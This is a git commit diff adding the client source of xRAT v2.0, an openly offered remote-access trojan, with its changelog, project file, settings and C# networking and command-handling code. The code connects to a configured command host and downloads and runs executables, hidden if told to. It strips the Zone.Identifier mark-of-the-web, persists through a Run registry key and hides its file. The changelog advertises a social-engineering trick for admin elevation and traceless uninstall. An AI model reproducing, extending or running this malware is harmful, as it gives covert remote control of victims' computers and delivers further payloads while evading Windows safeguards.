Initial commit with everything else

This commit is contained in:
MaxXor 2014-07-08 14:58:53 +02:00
parent b95faf434a
commit 034b6242f4
614 changed files with 61330 additions and 677 deletions

3
.gitignore vendored
View File

@ -172,3 +172,6 @@ UpgradeLog*.htm
# Microsoft Fakes
FakesAssemblies/
# Private
[Pp]rivate/

83
CHANGELOG Normal file
View File

@ -0,0 +1,83 @@
xRAT v2.0.0.0 RELEASE1 [08.07.2014]
======================================================================================
- Added Icon Changer
- Added Remote Shell
- Added profiles to builder (save/load)
- Added motion detection algorithm to Remote Desktop (40-50% faster)
- Added monitor selection to Remote Desktop
- Improved Admin Elevation (waits 3sec before finally shows)
- Improved System Information
- Improved Task Manager->Start Process
- Improved uninstall command to leave no trace on computer
- Improved settings XMl writer/reader if no settings file exists
- Fixed rare bug with uninstall command
- First Stable Release
xRAT v2.0.0.0 BETA2 [16.05.2014]
======================================================================================
- Added Update Function
- Added renamer (thx li0nsar3c00l)
- Added loading information to System Information
- Added some additional checks to validate PE-Files in Download & Execute command
- Improved version information
- Admin Elevation Trick now gets the language from the System not from GeoIP(thx Domi)
- Fixed showing wrong country flag when country is unknown
- Some minor design changes
xRAT v2.0.0.0 BETA1 [14.04.2014]
======================================================================================
- Added custom social engineering tactic to elevate Admin privileges (betabot's trick)
* Supports 9 languages
- Added System Information
- Added Show Messagebox
- Added Visit Website [Hidden/Visible]
- Added support for Mouse to Remote Desktop
- Added new Status for User [Active/Idle]
- Added Statistics for Connected Clients and Traffic
- Added Zone Identifier Deletion after downloading Files
- Added Transferlist to File Manager
- Moved GeoIP Location from Server to Client -> increases speed
- Improved Startup Method
- Improved Remote Desktop
- Improved File Manager
- Improved listview in Main Window
- Fixed rare window focus bug
- Fixed some crashes
- Fixed some minor bugs
- First Beta Release
xRAT v2.0.0.0 ALPHA3 [31.03.2014]
======================================================================================
- Added Settings encryption to Client
- Added detection of Account Type to Client
- Extended Builder
- Optimized File Manager
- Changed Builder exception message
- Small code changes for future updates
- Fixed flickering listview in File Manager and Task Manager
- Fixed wrong sorting in File Manager
- Fixed Remote Desktop crash when exiting without pressing "Stop" first
- Fixed various crashes and exceptions
xRAT v2.0.0.0 ALPHA2 [22.03.2014]
======================================================================================
- Added Remote Desktop
- Added Task Manager
- Added File Manager
- Added some icons
- Improved Builder
- Optimized code
- Fixed connection count bug
- Fixed client disconnect bug
- Fixed uninstall not working when Client is built with hidden option
- Fixed deleting registry key while uninstalling Client
- Fixed various crashes and exceptions
xRAT v2.0.0.0 ALPHA1 [16.03.2014]
======================================================================================
- First Alpha Release

216
Client/Client.csproj Normal file
View File

@ -0,0 +1,216 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
<ProductVersion>8.0.30703</ProductVersion>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Client</RootNamespace>
<AssemblyName>Client</AssemblyName>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\Bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\Bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Core\Client.cs" />
<Compile Include="Core\Commands\CommandHandler.cs" />
<Compile Include="Core\Compression\LZ4\LZ4Compressor32.cs" />
<Compile Include="Core\Compression\LZ4\LZ4Decompressor32.cs" />
<Compile Include="Core\Compression\LZ4\LZ4Util.cs" />
<Compile Include="Core\Elevation\CommandButton.cs">
<SubType>Component</SubType>
</Compile>
<Compile Include="Core\Elevation\frmElevation.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Core\Elevation\frmElevation.Designer.cs">
<DependentUpon>frmElevation.cs</DependentUpon>
</Compile>
<Compile Include="Core\Encryption\AES.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\DesktopResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\DirectoryResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\DownloadFileResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\DrivesResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\GetProcessesResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\GetSystemInfoResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\MonitorsResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\ShellCommandResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\UserStatus.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Desktop.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Directory.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\DownloadFile.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Drives.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\GetProcesses.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\GetSystemInfo.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\KillProcess.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Monitors.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\ShellCommand.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\ShowMessageBox.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Update.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\VisitWebsite.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\MouseClick.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\StartProcess.cs" />
<Compile Include="Core\RemoteShell\Shell.cs" />
<Compile Include="Core\SystemCore.cs" />
<Compile Include="Core\Encryption\RC4.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\Status.cs" />
<Compile Include="Core\Packets\ClientPackets\Connection\Initialize.cs" />
<Compile Include="Core\Packets\ClientPackets\Connection\KeepAliveResponse.cs" />
<Compile Include="Core\Packets\IPacket.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Disconnect.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\DownloadAndExecute.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Uninstall.cs" />
<Compile Include="Core\Packets\ServerPackets\Connection\InitializeCommand.cs" />
<Compile Include="Core\Packets\ServerPackets\Connection\KeepAlive.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Reconnect.cs" />
<Compile Include="Core\Packets\UnknownPacket.cs" />
<Compile Include="Core\ProtoBuf\BclHelpers.cs" />
<Compile Include="Core\ProtoBuf\BufferExtension.cs" />
<Compile Include="Core\ProtoBuf\BufferPool.cs" />
<Compile Include="Core\ProtoBuf\DataFormat.cs" />
<Compile Include="Core\ProtoBuf\Helpers.cs" />
<Compile Include="Core\ProtoBuf\IExtensible.cs" />
<Compile Include="Core\ProtoBuf\IExtension.cs" />
<Compile Include="Core\ProtoBuf\ImplicitFields.cs" />
<Compile Include="Core\ProtoBuf\Meta\AttributeMap.cs" />
<Compile Include="Core\ProtoBuf\Meta\BasicList.cs" />
<Compile Include="Core\ProtoBuf\Meta\CallbackSet.cs" />
<Compile Include="Core\ProtoBuf\Meta\MetaType.cs" />
<Compile Include="Core\ProtoBuf\Meta\RuntimeTypeModel.cs" />
<Compile Include="Core\ProtoBuf\Meta\SubType.cs" />
<Compile Include="Core\ProtoBuf\Meta\TypeFormatEventArgs.cs" />
<Compile Include="Core\ProtoBuf\Meta\TypeModel.cs" />
<Compile Include="Core\ProtoBuf\Meta\ValueMember.cs" />
<Compile Include="Core\ProtoBuf\NetObjectCache.cs" />
<Compile Include="Core\ProtoBuf\PrefixStyle.cs" />
<Compile Include="Core\ProtoBuf\ProtoContractAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoEnumAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoException.cs" />
<Compile Include="Core\ProtoBuf\ProtoIgnoreAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoIncludeAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoMemberAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoReader.cs" />
<Compile Include="Core\ProtoBuf\ProtoWriter.cs" />
<Compile Include="Core\ProtoBuf\SerializationContext.cs" />
<Compile Include="Core\ProtoBuf\Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ArrayDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\BlobSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\BooleanSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ByteSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\CharSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\CompiledSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\DateTimeSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\DecimalSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\DefaultValueDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\DoubleSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\EnumSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\FieldDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\GuidSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\Int16Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\Int32Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\Int64Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\IProtoSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\IProtoTypeSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ISerializerProxy.cs" />
<Compile Include="Core\ProtoBuf\Serializers\KeyValuePairDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ListDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\MemberSpecifiedDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\NetObjectSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\NullDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ParseableSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\PropertyDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ProtoDecoratorBase.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SByteSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SingleSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\StringSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SubItemSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SurrogateSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SystemTypeSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\TagDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\TimeSpanSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\TupleSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\TypeSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\UInt16Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\UInt32Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\UInt64Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\UriDecorator.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoBehaviorAttribute.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoBehaviorExtensionElement.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoEndpointBehavior.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoOperationBehavior.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\XmlProtoSerializer.cs" />
<Compile Include="Core\ProtoBuf\SubItemToken.cs" />
<Compile Include="Core\ProtoBuf\WireType.cs" />
<Compile Include="Core\Server.cs" />
<Compile Include="Core\Helper\Helper.cs" />
<Compile Include="GeoIP.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Config\Settings.cs" />
<EmbeddedResource Include="Core\Elevation\frmElevation.resx">
<DependentUpon>frmElevation.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<PropertyGroup>
<PostBuildEvent>copy "$(TargetPath)" "$(TargetDir)client.bin" /Y</PostBuildEvent>
</PropertyGroup>
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>

55
Client/Config/Settings.cs Normal file
View File

@ -0,0 +1,55 @@
using System;
using Core.Encryption;
namespace Client
{
public class Settings
{
#if DEBUG
public static string VERSION = "1.0.0.0d";
public static string HOST = "me.maxxor.org";
public static ushort PORT = 4782;
public static int RECONNECTDELAY = 5000;
public static string PASSWORD = "1234";
public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
public static string SUBFOLDER = "Test";
public static string INSTALLNAME = "test.exe";
public static bool INSTALL = false;
public static bool STARTUP = true;
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
public static string STARTUPKEY = "Test key";
public static bool HIDEFILE = true;
public static bool ENABLEUACESCALATION = false;
public static void Initialize()
{ }
#else
public static string VERSION = "1.0.0.0r";
public static string HOST = "localhost";
public static ushort PORT = 4782;
public static int RECONNECTDELAY = 5000;
public static string PASSWORD = "1234";
public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
public static string SUBFOLDER = "SUB";
public static string INSTALLNAME = "INSTALL";
public static bool INSTALL = false;
public static bool STARTUP = true;
public static string MUTEX = "MUTEX";
public static string STARTUPKEY = "STARTUP";
public static bool HIDEFILE = true;
public static bool ENABLEUACESCALATION = true;
public static string ENCRYPTIONKEY = "ENCKEY";
public static void Initialize()
{
VERSION = AES.Decrypt(VERSION, ENCRYPTIONKEY);
HOST = AES.Decrypt(HOST, ENCRYPTIONKEY);
PASSWORD = AES.Decrypt(PASSWORD, ENCRYPTIONKEY);
SUBFOLDER = AES.Decrypt(SUBFOLDER, ENCRYPTIONKEY);
INSTALLNAME = AES.Decrypt(INSTALLNAME, ENCRYPTIONKEY);
MUTEX = AES.Decrypt(MUTEX, ENCRYPTIONKEY);
STARTUPKEY = AES.Decrypt(STARTUPKEY, ENCRYPTIONKEY);
}
#endif
}
}

454
Client/Core/Client.cs Normal file
View File

@ -0,0 +1,454 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.IO;
using System.Net;
using System.Net.Sockets;
using Client;
using Core.Encryption;
using Core.Packets;
using Core.Packets.ClientPackets;
using Core.Packets.ServerPackets;
using ProtoBuf;
using ProtoBuf.Meta;
namespace Core
{
public class Client
{
//TODO: Lock objects where needed.
//TODO: Create and handle ReadQueue.
public event ClientFailEventHandler ClientFail;
public delegate void ClientFailEventHandler(Client s, Exception ex);
private void OnClientFail(Exception ex)
{
if (ClientFail != null)
{
ClientFail(this, ex);
}
}
public event ClientStateEventHandler ClientState;
public delegate void ClientStateEventHandler(Client s, bool connected);
private void OnClientState(bool connected)
{
if (ClientState != null)
{
ClientState(this, connected);
}
}
public event ClientReadEventHandler ClientRead;
public delegate void ClientReadEventHandler(Client s, IPacket packet);
private void OnClientRead(byte[] e)
{
if (ClientRead != null)
{
try
{
if (compressionEnabled)
e = new LZ4.LZ4Decompressor32().Decompress(e);
if (encryptionEnabled)
e = RC4.Decrypt(e, Settings.PASSWORD);
using (MemoryStream deserialized = new MemoryStream(e))
{
IPacket packet = Serializer.DeserializeWithLengthPrefix<IPacket>(deserialized, PrefixStyle.Fixed32);
if (packet.GetType() == typeof(KeepAliveResponse))
_parentServer.HandleKeepAlivePacket((KeepAliveResponse)packet, this);
else if (packet.GetType() == typeof(KeepAlive))
new KeepAliveResponse() { TimeSent = ((KeepAlive)packet).TimeSent }.Execute(this);
else
ClientRead(this, packet);
}
}
catch
{
new UnknownPacket().Execute(this);
}
}
}
public event ClientWriteEventHandler ClientWrite;
public delegate void ClientWriteEventHandler(Client s, IPacket packet, long length, byte[] rawData);
private void OnClientWrite(IPacket packet, long length, byte[] rawData)
{
if (ClientWrite != null)
{
ClientWrite(this, packet, length, rawData);
}
}
private readonly AsyncOperation _asyncOperation;
private Socket _handle;
private int _sendIndex;
private byte[] _sendBuffer;
private int _readIndex;
private byte[] _readBuffer;
private Queue<byte[]> _sendQueue;
private SocketAsyncEventArgs[] _item = new SocketAsyncEventArgs[2];
private bool[] _processing = new bool[2];
public int BufferSize { get; set; }
private IPEndPoint _endPoint;
public IPEndPoint EndPoint
{
get
{
return _endPoint ?? new IPEndPoint(IPAddress.None, 0);
}
}
private const bool encryptionEnabled = true;
private const bool compressionEnabled = true;
private Server _parentServer;
public bool Connected { get; private set; }
private int _typeIndex = 0;
public Client(int bufferSize)
{
_asyncOperation = AsyncOperationManager.CreateOperation(null);
BufferSize = bufferSize;
}
internal Client(Server server, Socket sock, int size, Type[] packets)
{
try
{
AddTypesToSerializer(typeof(IPacket), packets);
_parentServer = server;
_asyncOperation = AsyncOperationManager.CreateOperation(null);
Initialize();
_item[0].SetBuffer(new byte[size], 0, size);
_handle = sock;
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
_handle.NoDelay = true;
BufferSize = size;
_endPoint = (IPEndPoint)_handle.RemoteEndPoint;
Connected = true;
if (!_handle.ReceiveAsync(_item[0]))
Process(null, _item[0]);
}
catch
{
Disconnect();
}
}
public void Connect(string host, ushort port)
{
try
{
Disconnect();
Initialize();
_handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
_handle.NoDelay = true;
_item[0].RemoteEndPoint = new IPEndPoint(GetAddress(host), port);
if (!_handle.ConnectAsync(_item[0]))
Process(null, _item[0]);
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
OnClientFail(ex);
Disconnect();
}
}
private IPAddress GetAddress(string host)
{
IPAddress[] hosts = Dns.GetHostAddresses(host);
foreach (IPAddress h in hosts)
if (h.AddressFamily == AddressFamily.InterNetwork)
return h;
return null;
}
private void Initialize()
{
AddTypesToSerializer(typeof(IPacket), new Type[]
{
typeof(UnknownPacket),
typeof(KeepAlive),
typeof(KeepAliveResponse)
});
_processing = new bool[2];
_sendIndex = 0;
_readIndex = 0;
_sendBuffer = new byte[0];
_readBuffer = new byte[0];
_sendQueue = new Queue<byte[]>();
_item[0] = new SocketAsyncEventArgs();
_item[0].Completed += Process;
_item[1] = new SocketAsyncEventArgs();
_item[1].Completed += Process;
}
/// <summary>
/// Adds a Type to the serializer so a message can be properly serialized.
/// </summary>
/// <param name="parent">The parent type, i.e.: IPacket</param>
/// <param name="type">Type to be added</param>
public void AddTypeToSerializer(Type parent, Type type)
{
if (type == null || parent == null)
throw new ArgumentNullException();
bool isAdded = false;
foreach (SubType subType in RuntimeTypeModel.Default[parent].GetSubtypes())
if (subType.DerivedType.Type == type)
isAdded = true;
if (!isAdded)
RuntimeTypeModel.Default[parent].AddSubType(_typeIndex += 1, type);
}
public void AddTypesToSerializer(Type parent, params Type[] types)
{
foreach (Type type in types)
AddTypeToSerializer(parent, type);
}
private void Process(object s, SocketAsyncEventArgs e)
{
try
{
if (e.SocketError == SocketError.Success)
{
switch (e.LastOperation)
{
case SocketAsyncOperation.Connect:
_endPoint = (IPEndPoint)_handle.RemoteEndPoint;
Connected = true;
_item[0].SetBuffer(new byte[BufferSize], 0, BufferSize);
_asyncOperation.Post(x => OnClientState((bool)x), true);
if (!_handle.ReceiveAsync(e))
Process(null, e);
break;
case SocketAsyncOperation.Receive:
if (!Connected)
return;
if (e.BytesTransferred != 0)
{
HandleRead(e.Buffer, 0, e.BytesTransferred);
e.SetBuffer(new byte[BufferSize], 0, BufferSize);
if (!_handle.ReceiveAsync(e))
Process(null, e);
}
else
{
Disconnect();
}
break;
case SocketAsyncOperation.Send:
if (!Connected)
return;
_sendIndex += e.BytesTransferred;
bool eos = (_sendIndex >= _sendBuffer.Length);
if (_sendQueue.Count == 0 && eos)
_processing[1] = false;
else
HandleSendQueue();
break;
}
}
else
{
if (e.LastOperation == SocketAsyncOperation.Connect)
_asyncOperation.Post(x => OnClientFail(new Exception("failed to connect")), null);
Disconnect();
}
}
catch
{
Disconnect();
}
}
public void Disconnect()
{
//if (_processing[0])
// return;
_processing[0] = true;
bool raise = Connected;
Connected = false;
if (_handle != null)
_handle.Close();
if (_sendQueue != null)
_sendQueue.Clear();
_sendBuffer = new byte[0];
_readBuffer = new byte[0];
if (raise)
_asyncOperation.Post(x => OnClientState(false), null);
_endPoint = null;
}
public void Send<T>(IPacket packet) where T : IPacket
{
lock (_sendQueue)
{
if (!Connected) return;
try
{
using (MemoryStream ms = new MemoryStream())
{
Serializer.SerializeWithLengthPrefix<T>(ms, (T)packet, PrefixStyle.Fixed32);
byte[] data = ms.ToArray();
Send(data);
OnClientWrite(packet, data.LongLength, data);
}
}
catch
{
return;
}
}
}
private void Send(byte[] data)
{
if (!Connected)
return;
if (encryptionEnabled)
data = RC4.Encrypt(data, Settings.PASSWORD);
if (compressionEnabled)
data = new LZ4.LZ4Compressor32().Compress(data);
_sendQueue.Enqueue(data);
if (!_processing[1])
{
_processing[1] = true;
HandleSendQueue();
}
}
private void HandleSendQueue()
{
for (int i = 0; i < 5; i++)
{
try
{
if (_sendIndex >= _sendBuffer.Length)
{
_sendIndex = 0;
_sendBuffer = Header(_sendQueue.Dequeue());
}
int write = Math.Min(_sendBuffer.Length - _sendIndex, BufferSize);
_item[1].SetBuffer(_sendBuffer, _sendIndex, write);
if (!_handle.SendAsync(_item[1]))
Process(null, _item[1]);
return;
}
catch
{
continue;
}
}
Disconnect();
}
private byte[] Header(byte[] data)
{
byte[] T = new byte[data.Length + 4];
Buffer.BlockCopy(BitConverter.GetBytes(data.Length), 0, T, 0, 4);
Buffer.BlockCopy(data, 0, T, 4, data.Length);
return T;
}
private void HandleRead(byte[] data, int index, int length)
{
try
{
if (_readIndex >= _readBuffer.Length)
{
_readIndex = 0;
int len = BitConverter.ToInt32(data, index);
Array.Resize(ref _readBuffer, (len < 0) ? _readBuffer.Length : len);
index += 4;
}
int read = Math.Min(_readBuffer.Length - _readIndex, length - index);
Buffer.BlockCopy(data, index, _readBuffer, _readIndex, read);
_readIndex += read;
if (_readIndex >= _readBuffer.Length)
{
_asyncOperation.Post(x => OnClientRead((byte[])x), _readBuffer);
}
if (read < (length - index))
{
HandleRead(data, index + read, length);
}
}
catch
{
Disconnect();
}
}
}
}

View File

@ -0,0 +1,472 @@
using Client;
using Core.RemoteShell;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
namespace Core.Commands
{
public class CommandHandler
{
[DllImport("kernel32", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteFile(string name);
[DllImport("user32.dll")]
private static extern bool SetCursorPos(int x, int y);
[DllImport("user32.dll")]
private static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
private static Bitmap lastDesktopScreenshot = null;
private static Shell shell = null;
private const int MOUSEEVENTF_LEFTDOWN = 0x02;
private const int MOUSEEVENTF_LEFTUP = 0x04;
private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
private const int MOUSEEVENTF_RIGHTUP = 0x10;
public static void HandleInitializeCommand(Core.Packets.ServerPackets.InitializeCommand command, Core.Client client)
{
SystemCore.InitializeGeoIp();
new Core.Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType, SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex).Execute(client);
}
public static void HandleDownloadAndExecuteCommand(Core.Packets.ServerPackets.DownloadAndExecute command, Core.Client client)
{
new Core.Packets.ClientPackets.Status("Downloading file...").Execute(client);
new Thread(new ThreadStart(() =>
{
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".exe"));
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.URL, tempFile);
}
}
catch
{
new Core.Packets.ClientPackets.Status("Download failed!").Execute(client);
return;
}
new Core.Packets.ClientPackets.Status("Downloaded File!").Execute(client);
try
{
DeleteFile(tempFile + ":Zone.Identifier");
var bytes = File.ReadAllBytes(tempFile);
if (bytes[0] != 'M' && bytes[1] != 'Z')
throw new Exception("no pe file");
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = command.RunHidden;
startInfo.FileName = tempFile;
Process.Start(startInfo);
}
catch
{
DeleteFile(tempFile);
new Core.Packets.ClientPackets.Status("Execution failed!").Execute(client);
return;
}
new Core.Packets.ClientPackets.Status("Executed File!").Execute(client);
})).Start();
}
public static void HandleUninstall(Core.Packets.ServerPackets.Uninstall command, Core.Client client)
{
new Core.Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client);
if (Settings.STARTUP)
{
if (SystemCore.AccountType == "Admin")
{
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, true);
key.Close();
}
}
catch
{
// try deleting from Registry.CurrentUser
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, true);
key.Close();
}
}
}
else
{
try
{
Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (key != null)
{
key.DeleteValue(Settings.STARTUPKEY, true);
key.Close();
}
}
catch
{ }
}
}
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 15 localhost > nul" + "\n" +
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
:
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 15 localhost > nul" + "\n" +
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
;
File.WriteAllText(filename, uninstallBatch);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = true;
startInfo.FileName = filename;
Process.Start(startInfo);
SystemCore.Disconnect = true;
client.Disconnect();
}
public static void HandleRemoteDesktop(Core.Packets.ServerPackets.Desktop command, Core.Client client)
{
if (lastDesktopScreenshot == null)
{
lastDesktopScreenshot = Helper.GetDesktop(command.Mode, command.Number);
